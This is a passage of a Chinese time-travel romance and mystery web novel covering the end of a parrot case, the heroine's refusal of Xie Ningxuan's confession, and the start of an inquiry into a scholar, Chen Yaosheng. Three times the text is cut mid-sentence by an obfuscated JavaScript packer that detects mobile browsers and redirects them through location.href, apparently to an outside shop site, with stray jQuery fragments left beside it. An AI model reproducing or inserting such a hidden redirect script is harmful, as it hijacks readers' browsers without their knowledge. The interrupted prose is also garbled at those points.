衙差请我爹去验看屋中东西的时候,我爹都被衙差惶恐的语气搞得心里发毛,但验看之下却发现,那些只不过是碎肉块发霉了。 猪肉,不是人肉。 在这基础下,再来看两个主人被袭击的场景,就能明白了。 朱承林是被捂死的,盗墓贼见他口鼻七窍出了血。而傅纪则因为中毒,出现了皮肤溃烂的情况。这对于平日就食生肉的鹦鹉来说,犹如一道自助餐啊。 “天哪,所以他们死后被啃食,竟然是鹦鹉饿了!” “对,所谓三天不吃不喝,也不是什么尽忠行为,只是其他人送来的饲料,压根不合口。所以当棺材被打开,傅纪血肉露出;当飞回到朱家,闻到散发血腥味的朱承林,鹦鹉就再也忍不住了。” 二公子捂住嘴,恶心的直想吐。 谢宁轩帮弟弟顺了顺背,又道:“不过,别担心,鹦鹉虽然把他们啄的血肉模糊,但没那么血腥,它没吃他们的肉,所谓啃食,其实是错的。” “你怎么知道?”二公子又干呕起来。 因为鹦鹉还活着。 山上两个盗墓贼毒死后,蛇虫鼠蚁也被毒死了。如果鹦鹉真的吃了傅纪的肉,鹦鹉也得毒死。 而在朱承林的阴祭台,地上丢着那么多肉,鹦鹉为什么没吃?因为它飞回去后,那些肉已经腐烂了,这就说明它也根本不吃腐烂了的食物。 棺材里的傅纪、飞回家看到的朱承林,都已经过了三日,尸体开始腐败。鹦鹉纵然循着血气啄了他们,但绝对没有咽下那腐败的人肉。 “哎呀妈呀,真恶心死了!”二公子脸色都白了,连连抚摸着自己的胸口,“好家伙,它憋着几天见到主人,就干这事!” 这事有什么稀奇吗?动物习性罢了。 但至于怎么飞回朱家?恐怕便只能推论了。 这只鹦鹉的确聪明非常,学舌极快不说,还会自己打开笼子。但它毕竟是动物,智商还是受到了限制。 盗墓贼说了,他带着鹦鹉回住处,是步行。而姓雷的也说,到北门茶庄一路到处都是人,就说明他也没坐车。可二公子不是啊,他在茶庄喝完茶买了鸟,是与友人登上马车来我家送给我的。 也即,鹦鹉清楚的看到了朱家到盗墓贼落脚处、再到北门茶庄的路,却被掩入马车中,并不知晓后续的行程。所以,在我家的时候,即便它打开笼子,也找不到回家的路。 可到了北门茶庄,鹦鹉就认得了呀,就能循着来时的路,一路飞回朱家。却没想到,主人已经死了,还激发了它饥饿时的生理反应。 但鹦鹉就得被审判吗? 它做了什么?这一切,不管是骂名罪名,还是通阴阳的大帽子,不都是人类给它施加的吗?即便它真的吓到了人,不也是在模仿人类吗? “可是、可是,”二公子吸一口凉气,“我还是觉得很诡异。鹦鹉认路?而且它打开笼子,都是偷偷的诶,没当着咱们的面打开,真是够奇怪的!” 是。 许是知道当着人面逃走会被抓,许是稀罕好奇新到的地方,许是想看看杀了主人的到底是什么人。鹦鹉没在第一时间逃走,回到朱家后,纵使描述再怎么可怖,飞走前的它,却也是发出了悲鸣声的。 这只鹦鹉,或许真的通人性吧。事实上,我家厨房也有生肉,但鹦鹉没有去吃。或许这只鹦鹉,是真的认主。 但这些,就只是猜测了。之后的岁月里,我们也再没有见过这只鹦鹉。 不管怎么说,案件终了,凶手也落网了,还是令人松了口气。 “嘿,羽书妹妹啊,”二公子朝我看过来,眼冒星光,“你真是不一样了!小时候虽然也聪明,可没见你这么稳重,这么心思细腻呀!嘿,我大青若是能效仿前同朝招收女捕快,你呀,或许还真是个好苗子。” 这夸赞若是在往日,也许我就喜滋滋收下了。可今天,“女捕快”三个字,就犹如一把锋利的刀,再次捅刺着我不平静的心。 看出我神情不对的依旧是谢宁轩,他含着些忧色,先打发弟弟回去。 “行了,年考就在两天后,我准你参与查案,已经耽搁你太多时间了。现在诸事已定,神神鬼鬼皆是自扰,你也就别惶恐,赶紧回去温书吧。” 二公子撅撅嘴:“还回什么书院啊,都这么晚了,我明天再去得了。” “不行,”谢宁轩语气淡淡,威压却不轻,“早起每每喊天喊地,你不自知吗?母妃又心疼你,每次都要你吃完早饭才出发,那到了书院得几时了?不许偷懒,没两日就是年考了。你若想来年登科,还不把年考好好练手?” 哥哥成绩太耀眼,二公子被训得没话说,只得不高兴的站起身,复又朝我看来:“那羽书妹妹,你也走吧,我送你回去。” “且慢,”谢宁轩拦下了,“你去书院,与她家又不顺路。莫要耽搁了,赶紧回去。我也就走了,我送她回家就是。” “你送啊?”二公子撇撇嘴,肉眼可见的不高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725430|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 此时此刻的我,心里也在盘算,是不是该借口与二公子同行,干脆避开谢宁轩得了。 可心下百转千回,脚步到底还是没动。 等二公子一步三回头的离开后,谢宁轩便朝我走来,眼光殷切中透着担忧,他伸手来捉我的手。 “怎么了羽书,发生什么事了?你今天不是陪着阳远去了金府吗?遇到什么不高兴的事了?” 我承认,这一刻,望着他熟悉的眉眼,感受着我蓬勃而充满向往的心跳,我侥幸了。 我想把今日的种种和盘托出,我想问问他,我担忧的,这个朝代赋予女性必须背负的,他是怎么想?他也认为三妻四妾稀松平常,他也会要求自己喜欢的人束于四方天地,困在家长里短中吗? 话到嘴边,门却被突兀的敲响,是韩桂举着一个盘子进来,上面放着一卷白布、剪刀、还有冒着热气的一碗药。看到我还在,韩桂有些意外,不自觉眼神往上司那儿闪躲。 这是怎么回事?谢宁轩怎么还喝着药?白布、剪刀……天哪,他背部的伤口还没有愈合? 心绪瞬间乱了。 谢宁轩却回答的极为轻描淡写:“哦,我没事。只是母妃硬要太医开了些保养的药罢了。” “哪啊,”韩桂立时小声抱怨,“大人就别瞒王小姐了,明明后背……” “韩桂!” 轻呵声中,我知道,是谢宁轩不想让我挂心担忧。明明眼下还有乌青,明明脸颊都显消瘦,他在我面前,却总是成竹在胸,云淡风轻。 鼻子登时就似闻了柠檬,眼泪不期而至。 谢宁轩有些慌,也不顾韩桂在场,再次伸手握住了我,柔声道:“羽书,羽书,别哭。我没事,真的没事。你想说什么,你告诉我,我都愿意倾听,好不好,羽书?别哭了,别哭了。” 五味杂陈,我也不知该如何表达这一刻的感受。 最后,只能哽咽的说:“还说什么啊,你先去喝药。还有伤口,是不是要换纱布?你去,你先去……” 谢宁轩纹丝未动,只涓涓望着我:“我没事,羽书,真的没多大点事儿,不值得你落泪。羽书,别哭了。” 他温暖干燥的大手抚上我的脸颊,轻轻拭去滚落的泪珠。 我知道,每每这样亲近,他总是会不自觉弯弯腰,只为了和我平视。 我伸手推开他,越发心酸。“你去吧,先去换药吧!” “那,那你答应我,在这儿等我……一会儿,也如实回答我一个问题,行吗?” 我凝着泪眼看他,有些模糊。“什么问题?” 谢宁轩轻轻莞尔:“羽书,答应我。” “好。”心口闷闷,我终是清清浅浅的答应了。 可盯着谢宁轩出门的背影,眼泪还是止不住,抛洒而下。 我知道,这段时间我已经看清了我的心,跃跃着向他靠近的心。 从始至终的关注,莫名其妙的信任。查案时每每眼神的交错,话语的默契,是涓涓流水般的会意与不消多说的理解啊。他生病时我不由自主的担心,他被罚时我控制不住的急躁。得知他对原主没有其他情愫时的安心,听到他对我有所觊觎时的辗转反侧…… 我沉浸于合拍与同频中……可,我该就此沉沦吗? 今日之前,我总是犹豫,不敢深想的。每每相处,不期相撞的眼神,我也只敢品味点点滴滴,好似鸵鸟,又如乌龟,躲在自己构想的桃花源中。 向前一步,我始终不敢。我怕我是胡思乱想、痴心妄想,更怕一朵情花无疾,踩落泥中。 姐姐的悲剧,我还历历在目。 但至少,我是欢喜的。 可今天,一头冷水兜面浇下,如肃杀的北风,吹散了所有幻想。 谢宁轩很快就回来了,换上了一身浅绿色的衣衫,更显松风水月。他一进屋,就迫不及待的走上前,轻柔的握住了我的手。 呼吸紧促,是我,也是他。 “羽书,羽书……”他喃喃着,吐字依旧清晰,“我、我想问你一件事……或许我该等等,或许应该在情势更明朗的时候问你,可我还是想知道……” 预感是那么的强烈,纵使我心如刀割,此刻却还是紧张到语无伦次。 “你、你到底想要、想要问什么?” 谢宁轩的眼中似有锦鲤跃跃,他一字一句道:“青山红豆知我意,窈窕淑女我欲求。今朝大胆问淑女,可愿与我赴青山?” 75.退路 我定定的看着眼前人,仿若万物俱籁,心中百爪千挠倏然归于寂静。 “羽书,旁的一概不要想。”谢宁轩手劲愈大,他殷殷深深的看着我,唯有语气透露了他的焦灼。 “身份、地位,这些都抛到一旁。我只问你,我的钟意、我的欣赏、我的眷恋,你都看到了,是吗?那你呢,你对我,可有如我般心意?” 热烈、诚挚、不做丝毫隐瞒的告白,就这样直直袭来。 即便在桃花源中,我都不敢做这样的幻想。 这一瞬,我几乎控制不住自己的心。无数个细胞在叫嚣着,告诉他,告诉他。不管是他还是二公子,都提过他的婚事有自主权,那,我们或许会有未来,不是吗? 然而天灵盖垂下的一丝理智,挣扎着从深切的欲海中爬出。 它清冷的声线如蛊,只消两句,就轻易打败了所有。 “21世纪来的你,受到了自由、平权教育的现代女性,真的愿意在这个时代,做一个男人背后的女人,一个附属品,一个姓名与符号?困在门第中操持所谓的中馈,忙碌一家子大小的生活,这真的会是你想要的人生吗?” 今日走出金府时,我感到了从未有过的挫败。 穿越来此这么久,我总带着些不真实感,有一种游戏人生的错觉。直到火焰吞噬一幅幅画,青烟随风而逝,似在剥夺着女性最后一丝自由。 我的天真与幻想,也随之消失。 回不去了,我再也回不去了。 书中封建王朝女性受到的束缚,我看过太多。但遥之甚遥,那只是历史烟云中的寥寥数笔。毕竟我从未想过有一天我也会穿越,也会遇到这个困境。 少女蒙昧,闺中宽和,一旦出嫁,却连小小爱好,都成了负担。怎么,嫁了人的姑娘,除了围着夫君转,就不能有自己的人生了? 更何况,满朝亲贵,不还要纳通房,纳小妾吗? 我以为二公子和原主是儿时好友,即便有情愫滋生,也该是青梅竹马,互相尊重的感情。但二公子说什么?让她当个妾室,还居高临下的问,是不是够义气? 我以为三殿下与林霜玉郎才女貌,赐婚顺利取得就代表了皇室的认可,然恩典不过几日,太后竟就要赐贵妾。而林夫人,想到的对策,便是抓紧为女儿找几个姿色上佳的姑娘来固宠。 我以为朱承林商贾之流,才会妻妾纷争,家风不正。可我忘了魏王,早在贵妃醉酒案中就听到的鼎鼎大名,不也流连花丛,彩旗飘飘吗? 这个时代,真的能有清流,从一片浊海中抽身断水吗? 眼前人仍眷恋的望着我,清澈的眸中,写满了他鼓足勇气的宣言。 不受控的,我抬手抚住了他的脸颊,这张熟悉的、刻入我心上的脸颊。 自从穿越,他好像就是书中为女主角匹配的男主,陪在我身边,让我所有畏惧和恐慌都消弭不见。 可命运之玄,我又怎么知道,伴随我展开的故事,到底是什么主题? 宅斗?雌竞?圈在四方天地中,渴望着所爱之人恩赐的一点暖意? 渐渐同化,渐渐妥协,在时代的森森重压下,终是失去自己的灵魂,成为深深古井中的一缕幽魂? 那我宁可一开始,就熄灭所有的侥幸。 “谢宁轩,”我轻轻开了口,忍住了即将垂下的泪珠,“谢谢你,谢谢你一直陪着我、包容我。但抱歉,我……” 眉峰蹙起,谢宁轩手倏地一紧。“怎么了,羽书?” 他没有想到。 我知道,我了解。这段时间的相处,我已经意识到,他和我一样,在感情方面,绝非贸然鲁莽之辈。一次次言语的试探,一次次越界的举动,是我,也是他。 我们就像两只孔雀,紧紧收着自己的羽毛,唯有确认对方心意相通,才敢开屏。 现在,他觉得时机到了。与其说是毫无胜算的告白,不如说是邀我迈入下个进程的邀约。 可于我而言,见到的女子桎梏与不公已然太多,我还怎么能允许恋爱脑发作,赔进去本就是侥幸获得的再生? “为什么?”谢宁轩的眼睫颤了颤,眼圈开始泛红,他抿了抿唇,才压下了铺天盖地的失望。但他还是不肯放弃,定要问出个理由。 “为什么,羽书?昨天我去你家,你还……今天到底发生了什么?是金夫人和你说了什么吗?我以为你知道的,我和金小姐真的没有什么。一颗心就那么小,只有你打开了窗扉。” 眼泪还是划下来,停留在唇边,苦涩不已。 我终是忍不住,哪怕我已不该问。 “从小到大,真没动过凡心?” 谢宁轩眼中又现柔光,像午夜的路灯,昏黄、柔婉,却足够照亮走入心底的路。 他轻轻说:“从未。从未在女色停留、驻足过。直到一个不知天高地厚、胆大妄为,竟然和我比谁查案快,竟敢摸到犯人身边亲自调查的女子出现在我生命中,我才知道情为何物。” 我轻笑出声,是激动还是感慨,我自己也分辨不清。可压在心上的大石,并没有就此动摇。 孤单太久,我唯一清楚窥见的情路,也以失败告终。姐姐承受不了,哪怕那不是她的错。 那我呢? 在这个朝代,我甚至没有退路。 唯一指望的,是不是只有男人赋予的深情?可府邸深深,单凭情谊,又能化解多少桎梏? 我的“画”,我要它自始至终,只属于我。我不允许任何人,以父之名、以夫之身,就束我之于高阁。 心中两个小人辩论,终是以理智一方大获全胜。我抬头眨掉了眼泪,也抹去了自己投入温暖怀抱的希望。 “谢宁轩,对不起,我不能接受你。”我终是说了出来,不带温度,冷冰冰的。推开他,我退后了好几步。 “羽书……”谢宁轩还想再说,他上前一步,仍试图握住我的手。 可畏首畏尾,犹犹豫豫,于我们,都只有残忍。 我也想过,或许我该和盘托出。将我崇尚的自由一一陈列,逼他交付出个态度。毕竟于他而言,我这般翻脸无情,实在是摸不着头脑。 可我该怎么说? 两个完全不同时空长大的人,三观、教育、背景,完全不同。我该怎么解释我所追求的女强、平等、人权?又该如何调和,逼他做出违背他的人生基调的选择吗?即便现在他答应了,我就敢交付真心,让他为我敌对整个世界吗? 更何况,如此惊世骇俗的要求,会不会让他生疑,怀疑我这本就鸠占鹊巢的身份?他本已那样敏锐。 我想起他一次次试探的目光,想起二公子、郡主,乃至老爹对我所谓“离经叛道”行为的惊愕。 我不是王羽书,我到底不是她。 心虚之至,令我越发噤言。明明看小说时,最讨厌有话不说清的剧情,可真正落到自己身上,才知晓喉间如刀,并非矫情。 吞吞吐吐间,我也愈发觉得,算了,既是“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729221|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被理解和尊重的观念”,何必说出让他难为。 转身出了侧厅,我没有再给他机会,也封锁了自己的后路。 天边,正是繁星点点,月头正好,皎洁、明亮。眼泪再次无知无觉的洒下,我却只是无情的擦拭掉。 平凡的人生,没有上帝视角,没有画外音提示。 于我和我心上的他,这就是终章。 (作者小声bb:不是不是,别弃文求求了) *** 接下来的日子,乏善可陈。 当然,这只是于我而言。 齐王爷近来奉旨巡视直隶,老爹作陪,连带着钟叔也跟着去了。 王妃则受到多荣长公主之邀,去后者封地小住。二公子考完了年考,还没歇两天,就也被接去了,说是长公主的儿子极善弓马骑射,王妃趁机让二公子好好锻炼一下。 太后在一次沐浴后穿衣不及,患了风寒。郡主作为她最喜欢的小辈之一,自然也进宫陪同小住。 赐婚的恩典下来,林府上下忙于准备出嫁事宜,之前种种疏忽,更得一口气补上。近来,林霜玉身子也见妥当,从居所到丫鬟,再到陪嫁的物件,林夫人便带着她换了个遍。 所有人都在忙忙碌碌,只有我,天地之间一个闲人,格格不入。 但这段时间,倒也不是完全没有事情。金华府,还是寄来了一封信。原主的祖母,在调查丫鬟小厮的去向中,意外发现了一个人的存在。 王宅也如这个时代的任一大户人家,丫鬟的婚配都要主子说了算。祖母本也打算根据原主的婚配情况来安排她的贴身丫鬟。 却没想到,误打误撞,调查中竟发现橙橙与人早就私定终身。 那人姓肖,外号肖排场,是个破落户。听闻祖上也曾光辉过,还出过县丞一类的人物。但到他这一辈,早就败光,只余三两间瓦房和两亩薄田。 从他外号不难看出,此人家败但穷讲究,不下田不做工,动辄以勋贵后代自称,偏偏也不善于读书,久考不中,后还染上赌博的恶习。家中唯有一个老仆操持里外,耕田织布,聊以生计。 祖母信中字里行间皆是诧异,显然不明白久在内宅的橙橙是怎么和这人扯到一起,更对她的眼光嗤之以鼻。 但就调查结果而言,橙橙与此人感情甚笃,已到非他不可的地步。在她的屋里,处处充斥着他的痕迹,有他手写的情书、雕刻的木偶人像、二人携手的画像,无一不宣告着情谊。 不过,他竟死了,而且死的充满疑团。 首先,此人是在原主上京前就失踪了的,因时有赌博多日不回家的情况,故老仆一开始没当回事,等到王宅追查来,也给不出具体的失踪日。 其次,我都穿越并抵达京城了,他的尸体才被发现于当地一座罕有人烟的山脚下,高度腐败,推断死亡时间有两三月之久。但他并非坠崖死亡,却是饿死的。 奇怪,尸体腰带上挂着一枚玉佩,虽不值什么钱,换俩馒头还是可以的。怎么就饿死了呢? 核问老仆,倒是承认少爷与一女子往来甚密,但他并不知该女子身份。至于少爷之死与橙橙叛主有无关系,更是半点不知。 看完这封信,我只觉头更大了。 上述信息似乎解释了一个疑点,即橙橙的反复。 当时我就怀疑过,为什么无亲无眷的她,最初会不愿陪同原主上京。现在看来,应该就是因为心上人的牵绊。 但为什么又改变了想法? 76.陈先生 肖排场系饿死的,明明有换吃食的玩意,却没能饱腹。这是否代表,他并非迫于困顿,而是遭人监禁,以致饿毙?尸身在山下被发现,便是抛尸所致? 那么,是否可以据此推断,肖排场的失踪,就是因为被人绑架,借此威胁橙橙陪同原主上京并暗害原主? 若真如此,那这幕后黑手可谓凶残,丝毫不在乎无辜者的性命。橙橙一直未有下落,是否也被灭口了? 还有,王宅祖上久在金华,在那地界算是知名府邸,橙橙与肖排场的往来,为何多年未有人知?祖母审问了原主另一近身丫鬟梨梨,别说同伴心有所属,就连出发前反复的情绪,梨梨都没品出什么味来,足见橙橙保密工作做得扎实。 可幕后黑手又是怎么知道的? 不过,此条线索的出炉,倒是给本案增加了个切入点。 从原主落水的时间与另七人的下场来看,似乎说明另七人的存在是个阻碍,橙橙是在对付完她们后才对原主下手。 但这个时代通讯不便、交通不便,原主一行人上路遇到的各种突发情况,绝非出发前就能一一料定,幕后黑手也不可能安排人一直跟随获取近况,否则定会被察觉。那么,这一路上发生的事,或许并不在幕后黑手的掌控中。 也就是说,想从橙橙身上揪出幕后黑手,未出发前的种种反常才是最重要的。如今多了个肖排场,虽然身死,但其生前行踪、交际圈等,无一不是线索。 只是,幕后黑手也不会是傻子,他一定会想尽办法销毁证据。到底能查出多少端倪,就看王宅、祖母,到底手腕如何了。 我当即拟了封信,正问又书该往哪里寻个驿站,院门被敲响了。 二公子带着他的大嗓门,正高叫着:“羽书妹妹,羽书妹妹,我回来啦!快开门呐,看我给你带了什么好东西!” 他怎么回来了?不是说要住段时间吗? “什么呀!这都小一个月了!复学后我还得上学堂,哪能多呆啊?母妃过两日也就回来了,我先行一步!这不还得回来陪陪你呢嘛!” 嗓门似乎更大了,脸也晒黑了些,看来马上功夫是没少练习,扯着我袖子的力气都变大了。 他絮絮叨叨,兴奋劲一如往常,招呼小厮搬运着小山一样的物件。 “呐,呐,这盒红心桃酥,比京城做的好吃多了,你快尝尝!哦,这个,这可是姑母最喜欢的厨子做的墨子酥,听闻圣上也喜欢吃呢!皮鞭,快看这条小皮鞭,鳄鱼皮做的!表哥亲自砍杀的鳄鱼!我们那天策马在江边,正好遇见鳄鱼冒头,表哥一枪就刺了上……” 我盯着院中石台上一层一层垒起的锦布盒子,兴致全无。 这也并非针对他,这段时间以来,我一直都是这么郁郁。 但二公子少见多怪,见我没展示出热络,登时就不爽了,瑞风眼一瞪,叉腰问:“怎么了,又怎么了?又变成一个月前那要死不活的样子了?羽书妹妹,谁又招惹你了?你跟我说,我替你收拾他!” 我烦闷的背过身,懒得理他。 二公子却一把拽起我的袖子,眼珠子一转:“心情不好?那刚好!我带你出门散心!走走,我正愁没人陪我壮胆呢!你陪我去瞧一瞧,瞧一瞧嘛!” “去哪,我不去……欸欸欸,你松开!我的袖子!” *** 出乎我的预料,马车并没有行进很久,就停在了一处宽阔的街上,不远处立着一个高高的牌坊,匾额上书四个大字——白马书院。 哦,来他的书院啊。 “这不是、这不是要出成绩了吗?”二公子避开我的眼神,难为情的骚了搔头,“我、我就是来转转,来转转。” 作为享誉大青的名校之一,白马书院每年一次年考,旨在考查学生学习情况。因着教学质量极其优异,坊间一度赞誉其年考堪比科举。 有哥哥珠玉在前,二公子是真的压力山大,说话怎么豁达,到了书院门口,那焦虑情绪还是忍不住溢出了屏幕。 这不,下了马车也不敢从正面进去打听,扭扭捏捏绕道后门。 书院后门开在一条萧条冷清的街上,路面不宽,没什么行人,两旁零星有几间铺子。此时,后门开着个缝,能瞧见里面的长方形小院子,打理的颇为干净。对面的墙上雕刻着不少诗句,像是一面影壁。 我见二公子在门口踟蹰,再看我被扯破的袖子,极为无奈。 “到了前门要来后门,到了后门你又不进,真是的。” 二公子白我一眼,脚步丝毫不动。看来是近乡情更怯,不敢问成绩了。 恰在此时,有人出现在小院中,二公子先看清了,脸色大变,扯着我就往书院对面逃。我毫无防备,被他拽的东倒西歪,鞋子差点飞出去。 “你干什……” 二公子一把捂住我的嘴,眼神之凌厉吓得我当场就噤声了。 什么情况,改谍战片了? 二公子拉着我跑进斜对面一家生意冷清的酒楼,小二乐呵呵迎上前,一句“客官”还没叫出口,就被二公子敲了个盖帽,登时懵了。 “快蹲下!”二公子冲小二低吼一声。 小二眨着无辜的小眼睛:“怎、怎么了?” 二公子哪有功夫理他啊,靠着酒楼外间的半人高护栏,紧张兮兮的探出半个脑袋朝对面瞧。 我和小二不明所以跟着模仿,只见书院中走出一书生扮相的男子,青衫方巾,身无长物,但气质宠辱不惊、恂恂雅致。 小二认出来了:“那不是……” “嘘!”二公子严厉喝止。 不过那人并没过来,而是拐弯向街角走了。二公子这才长吁一口气瘫坐下来,大有一种死里逃生的既视感。 我掰开他的手,很是诧异:“这人谁啊,把你吓成这样?” 二公子心有余悸,连连拍着胸口:“那是陈先生!我老师,我最怕他了!万一我考得不好,他今天见到我就得训我了。” 陈先生?谢宁轩似乎也提过一次。 心口一沉。 小二小声反对:“这话不对吧。谁不知道陈先生脾气最好了,怎么会……” “有你什么事?”二公子不乐意了,没好气的扫一眼他,“去去,别在这儿蹲着,去上杯龙井来,给我压压惊。” 小二不好意思的搔搔头,三两步跑了。 我如枯井一般的内心,也起了些波澜,职业病又上身了。 观那人背影斯斯文文,周身散发着一股学术气息,不像是暴躁教师。何况——“他看起来很年轻啊?不是说白马书院都是翰林院退下来的老先生吗?” “他不一样!他是我们书院最年轻的先生,上上科的金科状元陈尧昇!” 状元……周达尹不也是状元么,哎。 二公子没看到我的表情变化,继续说道,“但学识超好,和书院老先生论理从没输过!所以大家都怕他!” 这什么逻辑?学识好,大家就得怕他? 说话间,陈尧昇又出现了,手里提着两个药包,走回到后门。脚步一顿,他又朝着我们躲藏的酒楼走来。 二公子摒住了呼吸,我敢说陈尧昇只消再靠近两米,他得心脏病发。 然,陈尧昇只是走过来,停在了酒楼前的包子铺:“你好,麻烦给我来两个包子。” …… 余光中,二公子正坐在地上,大喘着气。呵,真没出息。 片刻后,陈尧昇买完包子回到了书院,还把后门也关上了。二公子这才真真正正放松下来,额头的汗顺着脸颊滑下。 这也太夸张了吧! 许是感受到我戏谑的目光,二公子撑着栏杆起身,挺挺胸膛,逞强意味明显。“那个,嗯,既然来了,喝杯茶再走吧,那个,这家龙井还不错。” 呵呵,是你腿软走不动了吧。 但我哪有心思喝茶啊。陪也陪了,唠也唠了,我能走了不? 二公子却不悦的瞪我:“走什么走!刚来多点时间啊!” “你一会儿自己去问不就行了吗?我又不是你们书院的,拉着我做什么?”我不耐烦了。 “不行!你得给我壮胆!” 您那胆子怕是叫上我祖宗八代作陪,都未必能壮大。 默默吐槽一句,我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733209|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没打算惯着他,拔腿就往外挪。 这时,酒楼外又走过一人,二公子正怒气勃勃揪住我的袖子欲说话,听到脚步声不由一怔。估计是下意识害怕,他还往我身后侧了侧。 但路过的只是一个穿着白袍的书生,脚步匆匆,扭头朝后看。 “诶,那是不是慕……” 二公子疑惑中,我却叫了出来。因为这厮下手力道一重,把我本就被他扯烂的袖口,又撕大了些。 “松手,别扯了!你怎么老爱扯我的袖子!” 我的怒问唬住了二公子,他扭头来瞧,眼神从诧异一点点变得扭曲,终是停留在委屈,扁嘴吐出一句:“你又凶我,羽书妹妹!” …… “小时候,咱们两个不都是这样,你扯我的袖子,我扯你的吗?为什么你长大,记忆失去,连这些习惯也丢失了?” 问话袭来,如一堵缓慢推进的墙,渐渐将我逼到墙角。 是啊,为什么。 为什么我要穿越,离开属于我自己的时代。为什么来到这儿,赋予了我久违温暖的亲情,却又不让我坦然接受爱情? 为什么,明明牵挂的人就在眼前,却雾里看花,永远也读不懂。 昔时人已没,今日水犹寒。 深深的遗憾中,我都不知道自己是怎么随着二公子踏上的酒楼二层。等我抽思凝神回到地球时,他已经叫好了茶水。 “……妹妹,喝点茶吧,别想了。” “嗯?”我仍茫然,全然不知他前面说了什么。 但入目只是垂着眼睫的他,带着丝丝苦涩的笑,也没有再提。见我没伸手,二公子叹了口气,将茶水放到我的面前,自顾自看向了窗外。 晚霞层层,如湖面被春风吹起的涟漪,望不可及。 雅间内安静下来,我与他都没有说话。沉寂的氛围中,我没有注意到,他的拳头握了又握。 “好了,羽书妹妹,”最终,还是二公子打破了沉默,他弯了弯嘴角,趁小二递上糕点之时,挑起我方才的问话,“你刚才不是问,为什么陈先生年纪轻轻,来做白马书院的老师吗?” 方才那点子好奇心,早就被心口浓郁的伤感淹没。 但此间话题重提,我自然也知道是他一片好心,便没推辞,点点头配合。 “其实和他那届科举息息相关,他的状元之冠,也来的极为传奇。”二公子吟一口茶,幽幽讲述,“事情要从一个叫沈渊博的人说起。” 原来上上科科举,到了殿试环节,也如往年,监考环节,圣上会亲临考场一览。 不同的则在于,往年均由礼部事先拟好的殿试题目,到了考试那日,圣上却没准用。他一反平常,在考试之初便驾临,直接在现场提笔写下了‘论沈渊博一案’。 “沈渊博?那是谁?” 二公子笑的无奈:“果然这也不记得了?羽书妹妹,你这记忆失的,可真够彻底的。” “嗯……” 沈渊博是先帝时期的言官,他的祖上为青朝开国做过贡献,后人皆入朝做官,时至先帝时,略有凋零。听闻沈渊博其人古板,做言官时没少触怒先帝,但到底看在沈家的面子上不曾发作。 谁知,高岭事变平息之后没多久,竟传来沈渊博暗中勾结废后胡氏叛乱的消息。先帝大怒,沈渊博被判凌迟,沈府满门抄斩。 等等,高岭之变?这我知道,之前查看这个世界历史轴线的时候曾看到过。 先帝时期,皇后胡氏育有太子,极得恩宠。胡氏家族恃宠而骄,入官场、掌民生,渐渐把持朝政,并有土地兼并、勾结外臣、贪污受贿之行。先帝秘密核查意欲一举拿下。熟料消息走漏,胡氏家族为先发制人,竟怂恿皇后与太子谋反,下毒于先帝饮食。幸毒计未成。 时皇宫已被太子携兵围困,先帝亲率羽林军战斗打开敌军包围圈,从缺口带后宫及百官逃生。京城事变传出,勤王之师尽数出动,一月后便在高岭将太子及叛军悉数斩获,皇后胡氏被废后自裁,史称高岭之变。 “事变平息后,传来此人叛乱的消息……这话什么意思,为什么当时没有传出?” 77.打架 二公子却没回答,他谨慎的瞟了眼窗外,摇了摇头:“羽书妹妹,别问那么细了,你只要知道,这桩案子是先帝时期的大案,多少人被牵连掉了脑袋。那年殿试是在圣上平反沈渊博一案之前两天考的,事先一点风声都没有,朝堂无人知晓圣上有平反之心,更遑论考生了。” 故事听得不清不楚,我颇不尽兴,但见他严肃,也不好深问。只好点头:“嗯,那然后呢?” “题目一出,一片哗然。考生都吓坏了,只得千篇一律怒斥沈渊博的罪恶,盛赞先帝的英明。唯有陈先生一人不怕死,答的是沈渊博叛乱证据不足,或有人从中推波助澜,才会令先帝误判。后来……” “小二!来壶好酒!” 一声突兀的叫声,打断了二公子的讲述。后者一听有人来,立刻守住了话头。 可恨我故事听到一半,这不吊人胃口吗? 窸窸窣窣的声音伴随着男子低笑停在了隔壁雅间,来人鱼贯进入后便打发了小二。说笑声不断,似乎是两个人来小酌。 这酒楼空间局促,雅间相距很近,隔壁的笑声、话语声都听得清清楚楚。一会儿是调笑谁家姑娘身段好,一会儿又淫靡的说起黄色笑话。 听着实在难堪,眼看故事也无法继续往下讲,我失了兴致,索性起身想走。二公子这次也没挽留,随着我一道往门口出。 就在这时,隔壁一人忽然将酒杯重重落下,骂了句:“陈尧昇那个狗东西!” 二公子脸色一变。 “好了老兄,不就是他罚你抄书了么,他那人就那样,好卖弄,自视甚高。” “啊呸!他若不姓陈,还能拿到状元?” 